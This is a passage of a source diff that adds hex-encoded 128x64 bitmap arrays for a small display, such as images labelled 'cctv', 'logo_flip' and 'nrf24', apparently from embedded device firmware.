0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xbd, 0x1f, 0xe0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0x0f, 0xe0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0x07, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x83, 0xc3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc1, 0xc3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xe0, 0xc3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0xe0, 0xc3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x81, 0xc3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0x03, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0x07, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x0f, 0xe0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x3d, 0x1f, 0xe0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x3c, 0x3e, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x3c, 0x7e, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x3c, 0x3e, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x3c, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x0f, 0xbc, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xfc, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xfc, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'cctv', 128x64px +const unsigned char bitmap_cctv [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xf1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xe0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x80, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0xf0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x80, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x07, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0xe0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0xcc, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x03, 0x00, 0x8e, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x1f, 0x00, 0x80, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x3c, 0x00, 0xc0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x78, 0x00, 0xe0, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x70, 0xf0, 0x01, 0xf0, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xe0, 0xc1, 0x03, 0x3c, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xe0, 0xc3, 0x0f, 0x1e, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xf8, 0xcf, 0x1f, 0x0f, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x3f, 0xfe, 0xfc, 0x0f, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x1f, 0x7e, 0xf8, 0x9f, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x83, 0x7f, 0xe0, 0xfc, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xc0, 0x03, 0x00, 0xf0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xf0, 0x01, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'logo_flip', 128x64px +const unsigned char bitmap_logo_flip [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xc4, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc7, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc7, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x1f, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x8f, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x8f, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x9f, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x9f, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0x8f, 0x9f, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xc0, 0xff, 0xff, 0x8f, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xc0, 0xff, 0xff, 0x8f, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xc0, 0xff, 0xff, 0x9f, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xc7, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xc7, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xc7, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc7, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc7, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xe7, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc3, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe7, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'nrf24', 128x64px +const unsigned char bitmap_nrf24 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 